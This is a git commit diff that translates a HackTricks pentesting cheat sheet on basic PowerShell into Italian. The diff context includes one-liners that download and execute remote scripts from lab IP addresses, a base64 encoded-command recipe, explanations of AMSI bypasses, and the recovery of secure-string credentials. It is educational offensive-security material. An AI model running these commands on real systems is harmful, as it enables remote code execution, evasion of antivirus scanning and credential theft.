Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

This commit is contained in:
Translator 2025-01-22 16:13:23 +00:00
parent 79822823a4
commit c3c8181fa0

View File

@ -1,8 +1,8 @@
# PowerShell di Base per Pentester
# Basic PowerShell for Pentesters
{{#include ../../banners/hacktricks-training.md}}
## Posizioni Predefinite di PowerShell
## Posizioni predefinite di PowerShell
```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
@ -18,7 +18,6 @@ Get-Command -Module <modulename>
```
## Scarica ed Esegui
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -65,11 +64,11 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```
## [Execution Policy](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
## [Politica di Esecuzione](../authentication-credentials-uac-and-efs/index.html#ps-execution-policy)
## [Constrained language](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
## [Lingua vincolata](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
## [AppLocker Policy](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
## [Politica di AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md)
## Abilita WinRM (PS Remoto)
```powershell
@ -117,7 +116,7 @@ ValueData : 0
**`amsi.dll`** è **caricato** nel tuo processo e ha le necessarie **esportazioni** per qualsiasi applicazione con cui interagire. E poiché è caricato nello spazio di memoria di un processo che **controlli**, puoi cambiare il suo comportamento **sovrascrivendo le istruzioni in memoria**. Rendendolo incapace di rilevare qualsiasi cosa.
Pertanto, l'obiettivo dei bypass AMSI è **sovrascrivere le istruzioni di quel DLL in memoria per rendere inutile il rilevamento**.
Pertanto, l'obiettivo dei bypass AMSI che utilizzerai è **sovrascrivere le istruzioni di quella DLL in memoria per rendere inutile il rilevamento**.
**Pagina web del generatore di bypass AMSI**: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
@ -168,7 +167,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
Controlla [**questo post per informazioni dettagliate e il codice**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduzione:
Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni di macchina native in memoria, che finiscono per assomigliare molto ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma.
Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni di macchina native in memoria, che finiscono per sembrare molto simili ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma.
I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono:
@ -240,7 +239,7 @@ powerview.md
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
## Secure String to Plaintext
## Stringa Sicura in Testo Normale
```powershell
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"